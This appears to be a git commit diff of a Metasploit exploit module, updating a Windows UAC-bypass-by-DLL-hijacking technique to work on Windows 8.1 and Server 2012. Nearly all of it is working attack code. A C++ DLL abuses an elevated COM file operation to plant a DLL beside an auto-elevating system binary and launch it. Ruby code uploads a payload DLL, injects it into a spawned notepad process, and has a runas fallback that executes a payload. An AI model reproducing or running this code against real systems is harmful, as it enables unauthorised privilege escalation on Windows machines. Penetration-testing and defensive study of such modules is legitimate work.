Update bypass UAC to work on 8.1 and 2012
This commit contains a bunch of work that comes from Meatballs1 and Lesage, and updates the bypassuac_inject module so that it works on Windows 8.x and Windows 2012. Almost zero of the code in this module can be attributed to me. Most of it comes from Ben's work. I did do some code tidying, adjustment of style, etc. but other than that it's all down to other people.bug/bundler_fix
parent
f0261a418c
commit
844460dd87
Binary file not shown.
Binary file not shown.
|
@ -93,7 +93,7 @@
|
|||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
|
@ -132,7 +132,7 @@
|
|||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
|
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
|||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\Exploit.cpp" />
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\Exploit.h" />
|
||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
||||
<ClInclude Include="src\Exploit.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
|
|
175
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
175
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
vendored
Normal file → Executable file
|
@ -1,22 +1,15 @@
|
|||
#include "ReflectiveLoader.h"
|
||||
#include "Exploit.h"
|
||||
|
||||
void exploit()
|
||||
{
|
||||
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
|
||||
|
||||
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
|
||||
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
|
||||
const wchar_t *sySysPrepExe = L"sysprep.exe";
|
||||
const wchar_t *szElevDll = L"CRYPTBASE.dll";
|
||||
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
|
||||
wchar_t szElevDir[MAX_PATH] = {};
|
||||
wchar_t szElevDir_syswow64[MAX_PATH] = {};
|
||||
wchar_t szElevDllFull[MAX_PATH] = {};
|
||||
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
|
||||
wchar_t szElevExeFull[MAX_PATH] = {};
|
||||
wchar_t path[MAX_PATH] = {};
|
||||
wchar_t windir[MAX_PATH] = {};
|
||||
extern "C" {
|
||||
|
||||
void exploit(BypassUacPaths const * const paths)
|
||||
{
|
||||
const wchar_t *szElevArgs = L"";
|
||||
const wchar_t *szEIFOMoniker = NULL;
|
||||
|
||||
PVOID OldValue = NULL;
|
||||
|
||||
IFileOperation *pFileOp = NULL;
|
||||
|
@ -24,59 +17,74 @@ void exploit()
|
|||
IShellItem *pSHIDestination = 0;
|
||||
IShellItem *pSHIDelete = 0;
|
||||
|
||||
BOOL bComInitialised = FALSE;
|
||||
|
||||
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
||||
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||
|
||||
GetWindowsDirectoryW(windir, MAX_PATH);
|
||||
GetTempPathW(MAX_PATH, path);
|
||||
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
|
||||
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
|
||||
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
|
||||
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
|
||||
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
|
||||
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
|
||||
|
||||
/* %temp%\cryptbase.dll */
|
||||
wcscat_s(path, MAX_PATH, szSourceDll);
|
||||
do
|
||||
{
|
||||
if (CoInitialize(NULL) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Failed to initialize COM");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir%\System32\sysprep\ */
|
||||
wcscat_s(szElevDir, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
|
||||
bComInitialised = TRUE;
|
||||
|
||||
/* %windir%\sysnative\sysprep\ */
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
|
||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir\system32\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir\sysnative\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
|
||||
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir%\system32\sysprep\sysprep.exe */
|
||||
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
||||
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (CoInitialize(NULL) == S_OK)
|
||||
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
|
||||
{
|
||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
||||
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
|
||||
break;
|
||||
}
|
||||
|
||||
/* Copy the DLL file to the target folder*/
|
||||
if (pFileOp->PerformOperations() != S_OK)
|
||||
{
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
|
||||
{
|
||||
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
|
||||
{
|
||||
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
|
||||
{
|
||||
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
|
||||
{
|
||||
/* Copy the DLL file to the sysprep folder*/
|
||||
if (pFileOp->PerformOperations() == S_OK)
|
||||
{
|
||||
/* Execute sysprep.exe */
|
||||
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
|
||||
break;
|
||||
}
|
||||
|
||||
/* Execute the target binary */
|
||||
SHELLEXECUTEINFOW shinfo;
|
||||
ZeroMemory(&shinfo, sizeof(shinfo));
|
||||
shinfo.cbSize = sizeof(shinfo);
|
||||
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||
shinfo.lpFile = szElevExeFull;
|
||||
shinfo.lpFile = paths->szElevExeFull;
|
||||
shinfo.lpParameters = szElevArgs;
|
||||
shinfo.lpDirectory = szElevDir;
|
||||
shinfo.lpDirectory = paths->szElevDir;
|
||||
shinfo.nShow = SW_HIDE;
|
||||
|
||||
Wow64DisableWow64FsRedirection(&OldValue);
|
||||
|
@ -86,34 +94,65 @@ void exploit()
|
|||
CloseHandle(shinfo.hProcess);
|
||||
}
|
||||
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||
|| NULL == pSHIDelete)
|
||||
{
|
||||
if (0 != pSHIDelete)
|
||||
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
|
||||
break;
|
||||
}
|
||||
|
||||
if (pFileOp->PerformOperations() == S_OK)
|
||||
{
|
||||
pFileOp->PerformOperations();
|
||||
dprintf("[BYPASSUACINJ] Successfully deleted dll");
|
||||
|
||||
// bail out this point because we don't need to keep trying to delete
|
||||
break;
|
||||
}
|
||||
|
||||
SAFERELEASE(pSHIDelete);
|
||||
|
||||
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
||||
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
||||
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||
|| NULL == pSHIDelete)
|
||||
{
|
||||
if (0 != pSHIDelete)
|
||||
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (pFileOp->PerformOperations() == S_OK)
|
||||
{
|
||||
pFileOp->PerformOperations();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
SAFERELEASE(pSHIDelete);
|
||||
SAFERELEASE(pSHIDestination);
|
||||
SAFERELEASE(pSHISource);
|
||||
SAFERELEASE(pFileOp);
|
||||
|
||||
if (bComInitialised)
|
||||
{
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
|
@ -5,4 +5,32 @@
|
|||
#include <stdio.h>
|
||||
#include <guiddef.h>
|
||||
|
||||
EXTERN_C void exploit();
|
||||
// Uncomment this line to include debug output
|
||||
//#define DEBUGTRACE
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
static void real_dprintf(char *format, ...)
|
||||
{
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args, format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
#else
|
||||
#define dprintf(...)
|
||||
#endif
|
||||
|
||||
typedef struct _BypassUacPaths
|
||||
{
|
||||
wchar_t szElevDir[MAX_PATH];
|
||||
wchar_t szElevDirSysWow64[MAX_PATH];
|
||||
wchar_t szElevDll[MAX_PATH];
|
||||
wchar_t szElevDllFull[MAX_PATH];
|
||||
wchar_t szElevExeFull[MAX_PATH];
|
||||
wchar_t szDllTempPath[MAX_PATH];
|
||||
} BypassUacPaths;
|
||||
|
||||
EXTERN_C void exploit(BypassUacPaths const * const paths);
|
||||
|
|
19
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
19
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
|
@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
|
|||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
exploit();
|
||||
|
||||
if (NULL != lpReserved)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
|
||||
exploit((BypassUacPaths*)lpReserved);
|
||||
}
|
||||
|
||||
ExitProcess(0);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
|
|
@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv
|
|||
uac = false
|
||||
winversion = session.sys.config.sysinfo['OS']
|
||||
|
||||
if winversion =~ /Windows (Vista|7|8|2008)/
|
||||
if winversion =~ /Windows (Vista|7|8|2008|2012)/
|
||||
unless is_system?
|
||||
begin
|
||||
enable_lua = registry_getvaldata(
|
||||
|
|
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::EXE
|
||||
include Exploit::FileDropper
|
||||
include Post::File
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::ReflectiveDLLInjection
|
||||
|
@ -47,44 +48,79 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
|
||||
]
|
||||
],
|
||||
'DisclosureDate'=> "Dec 31 2010"
|
||||
'DisclosureDate'=> 'Dec 31 2010'
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Validate that we can actually do things before we bother
|
||||
# doing any more work
|
||||
validate_environment!
|
||||
check_permissions!
|
||||
|
||||
# get all required environment variables in one shot instead. This
|
||||
# is a better approach because we don't constantly make calls through
|
||||
# the session to get the variables.
|
||||
env_vars = get_envs('TEMP', 'WINDIR')
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Exploit::Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
print_good('BypassUAC can bypass this setting, continuing...')
|
||||
when UAC_NO_PROMPT
|
||||
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||
runas_method(env_vars['TEMP'])
|
||||
return
|
||||
end
|
||||
|
||||
dll_path = bypass_dll_path
|
||||
payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
|
||||
|
||||
upload_payload_dll(payload_filepath)
|
||||
|
||||
pid = spawn_inject_proc(env_vars['WINDIR'])
|
||||
|
||||
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
|
||||
run_injection(pid, dll_path, file_paths)
|
||||
|
||||
# Windows 7 this is cleared up by DLL but on Windows
|
||||
# 8.1 it fails to delete the the file.
|
||||
register_file_for_cleanup(file_paths[:szElevDllFull])
|
||||
end
|
||||
|
||||
def bypass_dll_path
|
||||
# path to the bypassuac binary
|
||||
path = ::File.join(Msf::Config.data_directory, "post")
|
||||
path = ::File.join(Msf::Config.data_directory, 'post')
|
||||
|
||||
# decide, x86 or x64
|
||||
sysarch = sysinfo["Architecture"]
|
||||
sysarch = sysinfo['Architecture']
|
||||
if sysarch =~ /x64/i
|
||||
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
|
||||
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x86 Target Selected for x64 System"
|
||||
'x86 Target Selected for x64 System'
|
||||
)
|
||||
end
|
||||
return ::File.join(path, 'bypassuac-x64.dll')
|
||||
else
|
||||
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
'x64 Target Selected for x86 System'
|
||||
)
|
||||
end
|
||||
|
||||
if sysarch =~ /WOW64/i
|
||||
return ::File.join(path, "bypassuac-x86.dll")
|
||||
else
|
||||
return ::File.join(path, "bypassuac-x64.dll")
|
||||
end
|
||||
else
|
||||
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x64 Target Selected for x86 System"
|
||||
)
|
||||
end
|
||||
|
||||
::File.join(path, "bypassuac-x86.dll")
|
||||
return ::File.join(path, 'bypassuac-x86.dll')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def check_permissions!
|
||||
# Check if you are an admin
|
||||
vprint_status('Checking admin status...')
|
||||
|
@ -97,78 +133,44 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
||||
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def exploit
|
||||
validate_environment!
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Exploit::Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good "UAC is set to Default"
|
||||
print_good "BypassUAC can bypass this setting, continuing..."
|
||||
when UAC_NO_PROMPT
|
||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
||||
runas_method
|
||||
return
|
||||
end
|
||||
|
||||
check_permissions!
|
||||
|
||||
@temp_path = expand_path('%TEMP%').strip
|
||||
|
||||
upload_payload_dll!
|
||||
|
||||
pid = spawn_inject_proc
|
||||
|
||||
run_injection(pid, bypass_dll_path)
|
||||
|
||||
# delete the uac bypass payload
|
||||
vprint_status("Cleaning up payload file...")
|
||||
file_rm(payload_filepath)
|
||||
end
|
||||
|
||||
|
||||
def payload_filepath
|
||||
"#{@temp_path}\\CRYPTBASE.dll"
|
||||
end
|
||||
|
||||
|
||||
|
||||
def runas_method
|
||||
def runas_method(temp_dir)
|
||||
payload = generate_payload_exe
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tmpdir = expand_path("%TEMP%")
|
||||
tempexe = tmpdir + "\\" + payload_filename
|
||||
write_file(tempexe, payload)
|
||||
print_status("Uploading payload: #{tempexe}")
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
||||
print_status("Payload executed")
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||
temp_exe = "#{temp_dir}\\#{payload_filename}"
|
||||
|
||||
print_status("Uploading payload: #{temp_exe}")
|
||||
write_file(temp_exe, payload)
|
||||
register_file_for_cleanup(temp_exe)
|
||||
|
||||
print_status("Executing payload: #{temp_exe}")
|
||||
session.railgun.shell32.ShellExecuteA(nil, 'runas', temp_exe, nil, nil, 5)
|
||||
print_status('Payload executed.')
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def run_injection(pid, dll_path)
|
||||
def run_injection(pid, dll_path, file_paths)
|
||||
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
||||
begin
|
||||
path_struct = create_struct(file_paths)
|
||||
|
||||
vprint_status("Opening process #{pid}")
|
||||
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
||||
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
|
||||
vprint_status("Executing payload")
|
||||
thread = host_process.thread.create(exploit_mem + offset, 0)
|
||||
|
||||
vprint_status("Injecting struct into #{pid}")
|
||||
struct_addr = host_process.memory.allocate(path_struct.length)
|
||||
host_process.memory.write(struct_addr, path_struct)
|
||||
|
||||
vprint_status('Executing payload')
|
||||
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
|
||||
print_good("Successfully injected payload in to process: #{pid}")
|
||||
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
|
@ -177,59 +179,105 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def spawn_inject_proc
|
||||
windir = expand_path("%WINDIR%").strip
|
||||
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
# Create a process in the native architecture
|
||||
def spawn_inject_proc(win_dir)
|
||||
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
|
||||
if sysinfo['Architecture'] =~ /wow64/i
|
||||
cmd = "#{win_dir}\\sysnative\\notepad.exe"
|
||||
else
|
||||
cmd = "#{win_dir}\\System32\\notepad.exe"
|
||||
end
|
||||
pid = cmd_exec_get_pid(cmd)
|
||||
|
||||
unless pid
|
||||
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
|
||||
fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...')
|
||||
end
|
||||
|
||||
pid
|
||||
end
|
||||
|
||||
|
||||
|
||||
def upload_payload_dll!
|
||||
def upload_payload_dll(payload_filepath)
|
||||
payload = generate_payload_dll({:dll_exitprocess => true})
|
||||
print_status("Uploading the Payload DLL to the filesystem...")
|
||||
print_status('Uploading the Payload DLL to the filesystem...')
|
||||
begin
|
||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
||||
write_file(payload_filepath, payload)
|
||||
register_file_for_cleanup(payload_filepath)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(
|
||||
Exploit::Exception::Unknown,
|
||||
Exploit::Failure::Unknown,
|
||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def validate_environment!
|
||||
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
|
||||
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||
|
||||
winver = sysinfo["OS"]
|
||||
winver = sysinfo['OS']
|
||||
|
||||
unless winver =~ /Windows 2008|Windows [7]/
|
||||
case winver
|
||||
when /Windows (7|8|2008|2012)/
|
||||
print_good("#{winver} may be vulnerable.")
|
||||
else
|
||||
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_status "UAC is Enabled, checking level..."
|
||||
print_status('UAC is Enabled, checking level...')
|
||||
else
|
||||
if is_in_admin_group?
|
||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
||||
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_file_paths(win_path, payload_filepath)
|
||||
paths = {}
|
||||
|
||||
case sysinfo['OS']
|
||||
when /Windows (7|2008)/
|
||||
paths[:szElevDll] = 'CRYPTBASE.dll'
|
||||
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
|
||||
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
|
||||
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
|
||||
when /Windows (8|2012)/
|
||||
paths[:szElevDll] = 'NTWDBLIB.dll'
|
||||
paths[:szElevDir] = "#{win_path}\\System32"
|
||||
# This should be fine to be left blank
|
||||
paths[:szElevDirSysWow64] = ''
|
||||
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
|
||||
end
|
||||
|
||||
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
|
||||
paths[:szTempDllPath] = payload_filepath
|
||||
|
||||
paths
|
||||
end
|
||||
|
||||
# Creates the paths struct which contains all the required paths
|
||||
# the dll needs to copy/execute etc.
|
||||
def create_struct(paths)
|
||||
|
||||
# write each path to the structure in the order they
|
||||
# are defined in the bypass uac binary.
|
||||
struct = ''
|
||||
struct << fill_struct_path(paths[:szElevDir])
|
||||
struct << fill_struct_path(paths[:szElevDirSysWow64])
|
||||
struct << fill_struct_path(paths[:szElevDll])
|
||||
struct << fill_struct_path(paths[:szElevDllFull])
|
||||
struct << fill_struct_path(paths[:szElevExeFull])
|
||||
struct << fill_struct_path(paths[:szTempDllPath])
|
||||
|
||||
struct
|
||||
end
|
||||
|
||||
def fill_struct_path(path)
|
||||
path = Rex::Text.to_unicode(path)
|
||||
path + "\x00" * (520 - path.length)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue